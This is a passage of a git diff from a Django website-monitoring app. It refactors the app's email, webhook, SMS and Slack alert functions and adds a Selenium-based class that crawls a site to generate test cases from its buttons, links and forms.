'item' and `Automation`. + + Expects: { + 'item' : object (Scan, Test, Testcase), + 'automation' : object + } + + Returns -> data: { + 'exp_list': list, + 'exp_str' : str, + } + """ + + # init exp_list exp_list = [] + # loop through automation expressions for e in automation.expressions: + + # top-level scores and data if 'test_score' in e['data_type']: data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' elif 'current_health' in e['data_type']: data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t' elif 'health' in e['data_type']: - data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t' + data_type = 'Health:\t'+str(((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"]))/2))+'\n\t' + # LH test data elif 'current_lighthouse_average' in e['data_type']: data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' @@ -44,6 +231,7 @@ def create_exp_str(item, automation, is_email=False): data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' elif 'accessibility_delta' in e['data_type']: data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t' + # LH scan data elif 'lighthouse_average' in e['data_type']: data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' @@ -60,15 +248,13 @@ def create_exp_str(item, automation, is_email=False): elif 'accessibility' in e['data_type']: data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t' - - # yellowlab test data elif 'current_yellowlab_average' in e['data_type']: data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t' elif 'pageWeight_delta' in e['data_type']: data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t' - elif 'requests_delta' in e['data_type']: - data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t' + elif 'images_delta' in e['data_type']: + data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["images_delta"])+'\n\t' elif 'domComplexity_delta' in e['data_type']: data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t' elif 'javascriptComplexity_delta' in e['data_type']: @@ -91,8 +277,8 @@ def create_exp_str(item, automation, is_email=False): data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t' elif 'pageWeight' in e['data_type']: data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t' - elif 'requests' in e['data_type']: - data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t' + elif 'images' in e['data_type']: + data_type = 'Requests:\t'+str(item.yellowlab["scores"]["images"])+'\n\t' elif 'domComplexity' in e['data_type']: data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t' elif 'javascriptComplexity' in e['data_type']: @@ -110,15 +296,17 @@ def create_exp_str(item, automation, is_email=False): elif 'serverConfig' in e['data_type']: data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t' + # image data elif 'avg_image_score' in e['data_type']: data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' elif 'image_scores' in e['data_type']: data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' + # logs data elif 'logs' in e['data_type']: data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' - + # testcase data elif 'testcase' in e['data_type']: status = 'Failed' if e['value'] == 'True': @@ -126,25 +314,55 @@ def create_exp_str(item, automation, is_email=False): data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status) + # add to exp_list exp_list.append(data_type) - if is_email: - return exp_list - exp_str = ('\t'+''.join(exp_list)) - return exp_str + # formating return data + data = { + 'exp_list': exp_list, + 'exp_str': ('\t'+''.join(exp_list)) + } + + return data + +def create_json_data(json_data: dict=None, item: object=None) -> dict: + """ + Builds an expression list (exp_list = []) based + on the passed 'item' and `Automation`. + Expects: { + 'item' : object (Scan, Test, Testcase), + 'automation' : object + } -def create_json_data(data, obj): - json_data = data - item = obj + Returns -> dict + """ + # looping through json_data to + # update values with item.data for key in json_data: + + # high-level test score if 'test_score' == json_data[key]: json_data[key] = item.score + elif 'current_health' == json_data[key]: + json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) + elif 'avg_image_score' == json_data[key]: + json_data[key] = item.images_delta["average_score"] + elif 'image_scores' == json_data[key]: + json_data[key] = [i["score"] for i in item.images_delta["images"]] + + # high-level scan score + elif 'health' == json_data[key]: + json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) + elif 'logs' == json_data[key]: + json_data[key] = len(item.logs) + + # LH test data elif 'seo_delta' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] elif 'pwa_delta' == json_data[key]: @@ -157,16 +375,10 @@ def create_json_data(data, obj): json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] elif 'accessibility_delta' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"] - elif 'current_health' == json_data[key]: - json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) - elif 'health' == json_data[key]: - json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) - elif 'logs' == json_data[key]: - json_data[key] = len(item.logs) elif 'current_lighthouse_average' == json_data[key]: json_data[key] = item.lighthouse_delta["scores"]["current_average"] - elif 'current_average' == json_data[key]: - json_data[key] = item.lighthouse["scores"]["current_average"] + + # LH scan data elif 'seo' == json_data[key]: json_data[key] = item.lighthouse["scores"]["seo"] elif 'pwa' == json_data[key]: @@ -180,12 +392,13 @@ def create_json_data(data, obj): elif 'accessibility' == json_data[key]: json_data[key] = item.lighthouse["scores"]["accessibility"] + # YL test data elif 'current_yellowlab_average' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["current_average"] elif 'pageWeight_delta' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"] - elif 'requests_delta' == json_data[key]: - json_data[key] = item.yellowlab_delta["scores"]["requests_delta"] + elif 'images_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["images_delta"] elif 'domComplexity_delta' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"] elif 'javascriptComplexity_delta' == json_data[key]: @@ -203,12 +416,13 @@ def create_json_data(data, obj): elif 'serverConfig_delta' == json_data[key]: json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"] + # YL scan data elif 'yellowlab_average' == json_data[key]: json_data[key] = item.yellowlab["scores"]["globalScore"] elif 'pageWeight' == json_data[key]: json_data[key] = item.yellowlab["scores"]["pageWeight"] - elif 'requests' == json_data[key]: - json_data[key] = item.yellowlab["scores"]["requests"] + elif 'images' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["images"] elif 'domComplexity' == json_data[key]: json_data[key] = item.yellowlab["scores"]["domComplexity"] elif 'javascriptComplexity' == json_data[key]: @@ -226,38 +440,60 @@ def create_json_data(data, obj): elif 'serverConfig' == json_data[key]: json_data[key] = item.yellowlab["scores"]["serverConfig"] - elif 'avg_image_score' == json_data[key]: - json_data[key] = item.images_delta["average_score"] - elif 'image_scores' == json_data[key]: - json_data[key] = [i["score"] for i in item.images_delta["images"]] + # return updated json + return json_data - return json_data +def get_item(object_id: str=None) -> dict: + """ + Tries to find an object that matches theh passed 'object_id'. + Expects: { + 'object_id': str, + } + Returns -> data: { + 'item' : object (Scan, Test, Testcase), + 'item_type' : str, + 'success' : bool + } + """ + # init item + item = None + item_type = '' + success = False -def get_item(object_id): - try: - item = Test.objects.get(id=uuid.UUID(object_id)) - item_type = 'Test' - except: + # check for item + if not item: + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + success = True + except: + pass + if not item: try: item = Scan.objects.get(id=uuid.UUID(object_id)) item_type = 'Scan' + success = True except: - try: - item = Testcase.objects.get(id=uuid.UUID(object_id)) - item_type = 'Testcase' - except: - return {'success': False} - + pass + if not item: + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + success = True + except: + pass + + # format and return data data = { - 'item_type': item_type, 'item': item, - 'success': True + 'item_type': item_type, + 'success': success } return data @@ -265,36 +501,67 @@ def get_item(object_id): +def automation_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict: + """ + Sends an automation email to the User with + the passed 'email' + + Expects: { + 'email' : str, + 'automation_id' : str, + 'object_id' : str + } + + Returns -> data: { + 'success': bool + } + """ -def automation_email(email=None, automation_id=None, object_id=None): + # check if data is present if email and automation_id: + + # retrieving user + user = User.objects.get(email=email) + + # get automation and deciding if "page" or "site" scope automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site + if schedule.site is not None: + url_end = '/site/'+str(schedule.site.id) + url = schedule.site.site_url + else: + url_end = '/page/'+str(schedule.page.id) + url = schedule.page.page_url # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # getting object data item = data['item'] item_type = data['item_type'] - exp_list = create_exp_str(item=item, automation=automation, is_email=True) - - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) - subject = f'Alert for {site.site_url}' - title = f'Alert for {site.site_url}' - pre_header = f'Alert for {site.site_url}' + # generating expressions from automation + exp_list = create_exp_str( + item=item, + automation=automation + )['exp_list'] + + # build email data + object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end) + subject = f'Alert for {url}' + title = f'Alert for {url}' + pre_header = f'Alert for {url}' pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Scanerr just finished running a {item_type} for {url}. ' f'Below are the current stats:\n' ) content = ( f'This message was triggered by an automation you created. ' f'You can change the automation and schedule in your site\'s dashboard. ' ) - subject = subject + context = { 'title' : title, 'subject': subject, @@ -309,19 +576,9 @@ def automation_email(email=None, automation_id=None, object_id=None): 'signature' : '- Cheers!', } + # send email sendgrid_email(message_obj=context) - # html_message = render_to_string('api/automation_email.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [email], - # html_message = html_message, - # fail_silently = True, - # ) - data = { 'success': True } @@ -336,35 +593,63 @@ def automation_email(email=None, automation_id=None, object_id=None): +def automation_report_email(email: str=None, automation_id: str=None, object_id: str=None) -> dict: + """ + Sends an automation report email to the User with + the passed 'email' + + Expects: { + 'email' : str, + 'automation_id' : str, + 'object_id' : str + } + + Returns -> data: { + 'success': bool + } + """ -def automation_report_email(email=None, automation_id=None, object_id=None): + # check if data is present if email and automation_id: + + # retrieving user + user = User.objects.get(email=email) + + # get automation and deciding if "page" or "site" scope automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site - + if schedule.site is not None: + url_end = '/site/'+str(schedule.site.id) + url = schedule.site.site_url + else: + url_end = '/page/'+str(schedule.page.id) + url = schedule.page.page_url + + # get `Report` if exists try: item = Report.objects.get(id=uuid.UUID(object_id)) item_type = 'Report' except: return {'success': False} + # build email data exp_list = '' object_url = str(item.path) - subject = f'Report for {site.site_url}' - title = f'Report for {site.site_url}' - pre_header = f'Report for {site.site_url}' + subject = f'Report for {url}' + title = f'Report for {url}' + pre_header = f'Report for {url}' pre_content = ( - f'Scanerr just finished creating a {item_type} for {site.site_url}. ' + f'Scanerr just finished creating a {item_type} for {url}. ' f'Please click the link below to access and download the report.\n' ) content = ( f'This message was triggered by an automation created with Scanerr. ' f'You can change the automation and schedule in your site\'s dashboard. ' ) - subject = subject + context = { 'title' : title, + 'subject': subject, 'pre_header' : pre_header, 'pre_content' : pre_content, 'exp_list': exp_list, @@ -372,19 +657,12 @@ def automation_report_email(email=None, automation_id=None, object_id=None): 'home_page' : os.environ.get('CLIENT_URL_ROOT'), 'button_text' : 'View Report', 'content' : content, + 'email': email, 'signature' : '- Cheers!', } - html_message = render_to_string('api/automation_email.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [email], - html_message = html_message, - fail_silently = True, - ) + # send email + sendgrid_email(message_obj=context) data = { 'success': True @@ -401,38 +679,63 @@ def automation_report_email(email=None, automation_id=None, object_id=None): def automation_webhook( - request_type=None, - request_url=None, - request_data=None, - automation_id=None, - object_id=None, - ): + request_type: str=None, + request_url: str=None, + request_data: dict=None, + automation_id: str=None, + object_id: str=None, + ) -> dict: + """ + Sends a GET or POST request to the passed 'request_url' + with the passed 'request_data' + + Expects: { + 'request_type' : str, + 'request_url' : str, + 'request_data' : dict, + 'automation_id' : str, + 'object_id' : str, + } + + Returns -> data: { + 'success': bool + } + """ + + # checking that data is present if request_type and automation_id and request_url and request_data and object_id: + + # deciding if "page" or "site" scope automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site + if schedule.site is not None: + url_end = '/site/'+str(schedule.site.id) + url = schedule.site.site_url + else: + url_end = '/page/'+str(schedule.page.id) + url = schedule.page.page_url # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # get object and type item = data['item'] item_type = data['item_type'] + # building json pre_json_data = json.loads(request_data) - json_data = create_json_data(data=pre_json_data, obj=item) + json_data = create_json_data(pre_json_data, item) + # send the request try: if request_type == 'POST': response = requests.post(request_url, data=json_data) elif request_data == 'GET': response = requests.get(request_url, params=json_data) - - print(response.json()) - except: - data = {'success': False} + return {'success': False} data = { 'success': True @@ -448,39 +751,63 @@ def automation_webhook( +def automation_phone(phone_number: str=None, automation_id: str=None, object_id: str=None) -> dict: + """ + Sends an SMS alert to the passed 'phone_number' + with the `Automation` data + + Expects: { + 'phone_number' : str, + 'automation_id' : str, + 'object_id' : str, + } + + Returns -> data: { + 'success': bool + } + """ -def automation_phone(phone_number=None, automation_id=None, object_id=None): + # checking if data is present if phone_number and automation_id and object_id: + + # deciding on "page" or "site" scope automation = Automation.objects.get(id=automation_id) schedule = automation.schedule - site = schedule.site + if schedule.site is not None: + url_end = '/site/'+str(schedule.site.id) + url = schedule.site.site_url + else: + url_end = '/page/'+str(schedule.page.id) + url = schedule.page.page_url # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # get obj and type item = data['item'] item_type = data['item_type'] - exp_str = create_exp_str(item=item, automation=automation) + # build the exp_str + exp_str = create_exp(item=item, automation=automation)['exp_str'] - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + # build message data + object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end) pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Scanerr just finished running a {item_type} for {url}. ' f'Below are the current stats:\n\n\t{exp_str}\n' ) content = ( f'This message was triggered by an automation you created. ' f'You can change the automation and schedule in your site\'s dashboard. ' ) - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - account_sid = os.environ.get("TWILIO_SID") auth_token = os.environ.get("TWILIO_AUTH_TOKEN") client = Client(account_sid, auth_token) + # send message message = client.messages.create( to=phone_number, from_=os.environ.get('TWILIO_NUMBER'), @@ -501,39 +828,62 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None): -def automation_slack(automation_id=None, object_id=None): +def automation_slack(automation_id: str=None, object_id: str=None) -> dict: + """ + Sends a Slack alert with the `Automation` data + + Expects: { + 'automation_id' : str, + 'object_id' : str, + } + + Returns -> data: { + 'success': bool + } + """ + + # check if data is present if automation_id and object_id: + + # getting account and deciding on "page" or "site" scope automation = Automation.objects.get(id=automation_id) account = Account.objects.get(user=automation.user) schedule = automation.schedule - site = schedule.site + if schedule.site is not None: + url_end = '/site/'+str(schedule.site.id) + url = schedule.site.site_url + else: + url_end = '/page/'+str(schedule.page.id) + url = schedule.page.page_url # getting object data = get_item(object_id=object_id) if not data['success']: return {'success': False} + # get obj and type item = data['item'] item_type = data['item_type'] - exp_str = create_exp_str(item=item, automation=automation) + # build exp_str + exp_str = create_exp(item=item, automation=automation)['exp_str'] - object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + # build message data + object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end) pre_content = ( - f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Scanerr just finished running a {item_type} for {url}. ' f'Below are the current stats:\n\n\t{exp_str}\n' ) content = ( f'This message was triggered by an automation you created. ' f'You can change the automation and schedule in your site\'s dashboard. ' ) - body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' - token = account.slack['bot_access_token'] channel = account.slack['slack_channel_id'] - client = WebClient(token=token) + + # send message try: response = client.chat_postMessage( channel=channel, @@ -566,34 +916,31 @@ def automation_slack(automation_id=None, object_id=None): - - - -def sendgrid_email(message_obj): +def sendgrid_email(message_obj: dict=None) -> dict: """ Tries to send an email via the SendGrid API. Expects the following: - "message_obj": { - 'pre_content': , - 'content': , - 'subject': , - 'title': , - 'pre_header': , - 'button_text': , - 'exp_list': , - 'email': , - 'template': , - 'object_url': , - 'signature': + 'message_obj': dict { + 'pre_content': str, + 'content': str, + 'subject': str, + 'title': str, + 'pre_header': str, + 'button_text': str, + 'exp_list': list, + 'email': str, + 'template': str, + 'object_url': str, + 'signature': str, + 'greeting': str, } Returns --> data: { - 'message': True + 'success': bool } """ - # defining data pre_content = message_obj.get('pre_content') content = message_obj.get('content') @@ -605,16 +952,17 @@ def sendgrid_email(message_obj): exp_list = message_obj.get('exp_list') object_url = message_obj.get('object_url') signature = message_obj.get('signature', '- Cheers!') - + greeting = message_obj.get('greeting', 'Hi there,') # build template data template_data = { + 'greeting': greeting, 'title' : title, 'pre_header' : pre_header, 'pre_content' : pre_content, 'object_url' : object_url, 'exp_list': exp_list, - 'home_page' : settings.LANDING_URL_ROOT, + 'home_page' : settings.LANDING_API_ROOT, 'button_text' : button_text, 'content' : content, 'signature' : signature, @@ -628,7 +976,6 @@ def sendgrid_email(message_obj): if exp_list is not None: template = settings.AUTOMATION_TEMPLATE - # init SendGrid message message = Mail( from_email=From('hello@scanerr.io', 'Scanerr'), # prod -> settings.EMAIL_HOST_USER @@ -644,13 +991,22 @@ def sendgrid_email(message_obj): sg = SendGridAPIClient(settings.SENDGRID_API_KEY) response = sg.send(message) status = True + error = None except Exception as e: status = False + error = e.message print(e.message) - + # formatting resposne data = { - 'success': status + 'success': status, + 'error': error } return data + + + + + + diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py new file mode 100644 index 00000000..a9bce7e6 --- /dev/null +++ b/app/api/utils/autocaser.py @@ -0,0 +1,1073 @@ +from selenium import webdriver +from selenium.webdriver.common.by import By +from .driver_s import driver_init, driver_wait, quit_driver +from ..models import Site, Case +from scanerr import settings +import time, os, json, uuid, random, boto3 + + + + + + +class AutoCaser(): + """ + Generate new `Cases` for the passed 'site'. + + Expects: { + 'site' : object, + 'process' : object, + 'start_url' : str, + 'configs' : dict, + 'max_cases' : int, + 'max_layers' : int + } + + Use `AutoCaser.build_cases()` to generate new `Cases` + + Returns -> None + """ + + + def __init__( + self, + site: object, + process: object, + start_url: str=None, + configs: dict=settings.CONFIGS, + max_cases: int=4, + max_layers: int=5, + ): + + # main objects & configs + self.site = site + self.process = process + self.start_url = start_url + self.configs = configs + self.max_cases = max_cases + self.max_layers = max_layers + + # high-level elemets array. + # All elememts represent the + # begining of a new Case. + self.elements = [] + self.final_start_elements = [] + + # starting driver + self.driver = driver_init( + window_size=self.configs.get('window_size'), + device=self.configs.get('device'), + ) + + # setting selector script + self.selector_script = ( + """ + const getSelector = (elm) => { + if (elm.tagName === "BODY") return "BODY"; + const names = []; + while (elm.parentElement && elm.tagName !== "BODY") { + if (elm.id) { + names.unshift(`[id='${elm.getAttribute("id")}']`); // "#" + elm.getAttribute("id") + break; + } else { + let c = 1, e = elm; + for (; e.previousElementSibling; e = e.previousElementSibling, c++) ; + names.unshift(elm.tagName + ":nth-child(" + c + ")"); + } + elm = elm.parentElement; + } + return names.join(">"); + } + + return getSelector(arguments[0]) + + """ + ) + + # setting selector script + self.visible_script = ( + """ + const isVisible = (elm) => { + try{ + if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){ + return false + } else { + return true + } + }catch{ + return false + } + } + + return isVisible(arguments[0]) + + """ + ) + + # setting defaults for inputs + self.input_types = { + "button": {'test_data': None, 'action': 'click'}, + "checkbox": {'test_data': None, 'action': 'click'}, + "color": {'test_data': '#ff0000', 'action': 'change'}, + "date": {'test_data': '2024-04-23', 'action': 'change'}, + "datetime-local": {'test_data': '2024-04-22T12:49', 'action': 'change'}, + "email": {'test_data': 'jane@example.com', 'action': 'change'}, + "file": {'test_data': None, 'action': None}, + "hidden": {'test_data': None, 'action': None}, + "image": {'test_data': None, 'action': None}, + "month": {'test_data': '2024-04', 'action': 'change'}, + "number": {'test_data': '1', 'action': 'change'}, + "password": {'test_data': 'pass123456!@', 'action': 'change'}, + "radio": {'test_data': None, 'action': 'click'}, + "range": {'test_data': 1, 'action': 'change'}, + "reset": {'test_data': None, 'action': None}, + "search": {'test_data': 'search example', 'action': 'change'}, + "submit": {'test_data': None, 'action': 'click'}, + "tel": {'test_data': '5555555555', 'action': 'change'}, + "text": {'test_data': 'Example Text', 'action': 'change'}, + "time": {'test_data': '12:34', 'action': 'change'}, + "url": {'test_data': 'https://example.com', 'action': 'change'}, + "week": {'test_data': '2024-W15', 'action': 'change'}, + "textarea": {'test_data': 'This is longer example text for testing.', 'action': 'change'}, + "None": {'test_data': None, 'action': None}, + } + + # setting blacklist for input types to ignore + self.blacklist = ['file', 'hidden', 'image', 'reset'] + + # setup boto3 configurations + self.s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + + + + def update_process( + self, + current: int, + total: int, + complete: bool=False, + exception: str=None + ) -> object: + # calculate the current progress of the + # task based on current iteration and total + # iterations expected + final_progress = 90 + progress = 0 + success = False + if complete: + progress = 100 + success = True + if not complete: + progress = float((current/total) * final_progress) + + print(f'updating process --> {progress}%') + + # update Process obj + self.process.progress = progress + self.process.success = success + self.process.save() + + + + + def is_element_visible(self, element: object) -> bool: + try: + resp = self.driver.execute_script(self.visible_script, element) + resp = str(resp).lower() + if resp == 'true': + return True + if resp == 'false': + return False + except Exception as e: + print(f'is_element_visible() Exception -> Stale element reference') + + + + + def get_element_image(self, element: object) -> str: + try: + image = element.screenshot_as_base64 + # sleep for .5 seconds to let image process + time.sleep(.5) + except: + image = None + return image + + + + + def get_url_root(self, url: str) -> str: + protocol = url.split('//')[0] + '//' + root_url = protocol + url.split('//')[1].split('/')[0] + return root_url + + + + + def get_relative_url(self, url: str) -> str: + relative_url = '/' + url.split('//')[1].split('/')[1] + return relative_url + + + + + def get_elem_text(self, selector: str) -> str: + elem_text = self.driver.execute_script(f'return document.querySelector("{selector}").innerText') + elem_text = elem_text.split('\n')[0].strip() + return elem_text + + + + + def get_priority_elements(self, elements: list) -> dict: + priority_words = [ + 'cart', 'checkout', 'add to cart', 'add to the cart', + 'add to basket', 'add to shopping basket', 'add to shopping cart', + 'add to the cart', 'billing', 'address', 'payment', 'purchase now', + 'order now', 'order', 'shop now', 'continue to payment', 'contact', + 'apply', 'submit', + ] + + priority_elements = [] + non_priority_elements = [] + + # checking each element for prioriry words + for element in elements: + + # get element's innerText + elem_selector = self.driver.execute_script(self.selector_script, element) + elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText') + + # check each priority word against element innerText + for word in priority_words: + if word in elm_text.lower() or elm_text.lower() in word: + priority_elements.append(element) + break + elif element not in non_priority_elements: + non_priority_elements.append(element) + + # if priotity_elements[] is empty + # look for any forms and add them + if len(priority_elements) == 0: + for element in elements: + if element.tag_name == 'form': + # add to priority + priority_elements.append(element) + print('added FORM to priority_elements[]') + + data = { + 'priority_elements': priority_elements, + 'non_priority_elements': non_priority_elements + } + + return data + + + + + def get_current_elements(self) -> list: + # returns a list of interactable + # elements on the current page and + # removes and duplicates before returning + buttons = self.driver.find_elements(By.TAG_NAME, 'button') + links = self.driver.find_elements(By.TAG_NAME, 'a') + forms = self.driver.find_elements(By.TAG_NAME, 'form') + inputs = self.driver.find_elements(By.TAG_NAME, 'input') + textareas = self.driver.find_elements(By.TAG_NAME, 'textarea') + inputs_textareas_buttons = inputs + textareas + buttons + + # get all form inputs, textareas, & buttons + form_elems = [] + for form in forms: + # form inputs + form_inputs = form.find_elements(By.TAG_NAME, 'input') + form_elems += form_inputs + # form textarea + form_textares = form.find_elements(By.TAG_NAME, 'textarea') + form_elems += form_textares + # form buttons + form_buttons = form.find_elements(By.TAG_NAME, 'button') + form_elems += form_buttons + + # then remove duplicates + inputs_textareas_buttons = [elem for elem in inputs_textareas_buttons if elem not in form_elems] + + # shuffle elements in place + random.shuffle(forms) + random.shuffle(inputs_textareas_buttons) + random.shuffle(links) + + current_elements = forms + inputs_textareas_buttons + links + + # return result + return current_elements + + + + + def check_for_duplicates(self, selector: str, elements: list=None) -> bool: + found_duplicate = False + if elements is None: + elements = self.elements + + # checking against all final start elements + for final_start_elem in self.final_start_elements: + if final_start_elem == selector: + found_duplicate = True + return found_duplicate + + for elem in elements: + # check if selector exists already + if elem['selector'] == selector: + found_duplicate = True + break + + # check if sub_elements exists + if elem['elements'] != None: + self.check_for_duplicates(selector=selector, elements=elem['elements']) + + # return result + return found_duplicate + + + + + def get_clean_elements(self, elements: list, check_against: list=None) -> list: + cleaned_elements = [] + current_url = self.driver.current_url + + for elem in elements: + # get slector + elem_selector = self.driver.execute_script(self.selector_script, elem) + + # check local duplicates + if check_against is not None: + if self.check_for_duplicates(selector=elem_selector, elements=check_against): + print(f'found local duplicate => {elem_selector}') + continue + + # check global duplicates + if self.check_for_duplicates(selector=elem_selector): + print(f'found global duplicate => {elem_selector}') + continue + + # check url if + if elem.tag_name == 'a': + # check if action will reload page or site root + elem_link = elem.get_attribute('href') + if current_url == elem_link or elem_link == self.site.site_url or elem_link == '/': + print('elem reloads page') + continue + # check if action will nav to new site + if not elem_link.startswith(self.site.site_url): + print(f'elem links to different site') + continue + + # add to cleaned conditions passed + cleaned_elements.append(elem) + + # return cleaned elements + return cleaned_elements + + + + + def record_new_element(self, elem: object, sub_elements: list) -> dict: + """ + returns -> { + 'sub_elements': [], + 'run': bool, + 'added': bool, + } + """ + # setting defaults + run = True + added = False + + # check if element is visible + if not self.is_element_visible(elem): + data = { + 'run': run, + 'added': added, + 'sub_elements': sub_elements + } + return data + + # get sub element info + elem_selector = self.driver.execute_script(self.selector_script, elem) + elem_img = self.get_element_image(element=elem) + relative_url = self.get_relative_url(self.driver.current_url) + + # found new element, record, click, & continue + if elem.tag_name == 'a' or elem.tag_name == 'button': + + # record element + sub_elements.append({ + 'selector': elem_selector, + 'elem_type': elem.tag_name, + 'placeholder': None, + 'value': None, + 'type': None, + 'data': None, + 'action': 'click', + 'path': relative_url, + 'img': elem_img, + 'elements': None, + }) + + # click element + try: + elem.click() + except Exception as e: + print('Element not Clickable, removing') + sub_elements.pop() + + # add to layers and ending internal loop + added = True + run = True + + + # found new input or textarea + elif elem.tag_name == 'input' or elem.tag_name == 'textarea': + + # getting element values and type + type = str(elem.get_attribute('type')) + value = elem.get_attribute('value') + if elem.tag_name == 'textarea': + type = 'textarea' + + # record element + sub_elements.append({ + 'selector': elem_selector, + 'elem_type': elem.tag_name, + 'placeholder': elem.get_attribute('placeholder'), + 'value': value, + 'type': type, + 'data': self.input_types[type]['test_data'], + 'action': self.input_types[type]['action'], + 'path': relative_url, + 'img': elem_img, + 'elements': None, + }) + + # add to layers and ending internal loop + added = True + run = True + + + # found new form, record and end run + elif elem.tag_name == 'form': + + # record form into sub_elements list + sub_elements = self.record_forms( + elements=sub_elements, + form=elem + ) + + # add to layers and ending case + added = True + run = False + + data = { + 'sub_elements': sub_elements, + 'run': run, + 'added': added + } + + return data + + + + + def record_forms(self, elements: list, form: object=None) -> list: + + # wait for page to load + driver_wait( + driver=self.driver, + interval=self.configs.get('interval'), + max_wait_time=self.configs.get('max_wait_time'), + min_wait_time=self.configs.get('min_wait_time'), + ) + + # building forms list + if form is None: + # get all forms on the page + forms = self.driver.find_elements(By.TAG_NAME, "form") + else: + # adding single form to que + forms = [form] + + # begin iteration of

gathering + for form in forms: + + # get form selector + form_selector = self.driver.execute_script(self.selector_script, form) + + print(f'recording form -> {form_selector}') + + # getting form text + elem_text = self.get_elem_text(selector=form_selector) + + # get form image + form_img = self.get_element_image(element=form) + + # defining form.elements + sub_elements = [] + + # get all input fields in form + inputs = form.find_elements(By.TAG_NAME, "input") + # iterate through each input + for i in inputs: + + if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i): + # get input data + input_selector = self.driver.execute_script(self.selector_script, i) + placeholder = i.get_attribute('placeholder') + value = i.get_attribute('value') + type = str(i.get_attribute('type')) + img = self.get_element_image(element=i) + relative_url = self.get_relative_url(self.driver.current_url) + + sub_elements.append({ + 'selector': input_selector, + 'elem_type': i.tag_name, + 'placeholder': placeholder, + 'value': value, + 'type': type, + 'data': self.input_types[type]['test_data'], + 'action': self.input_types[type]['action'], + 'path': relative_url, + 'img': img, + 'elements': None, + }) + + + # get all textarea fields in form + 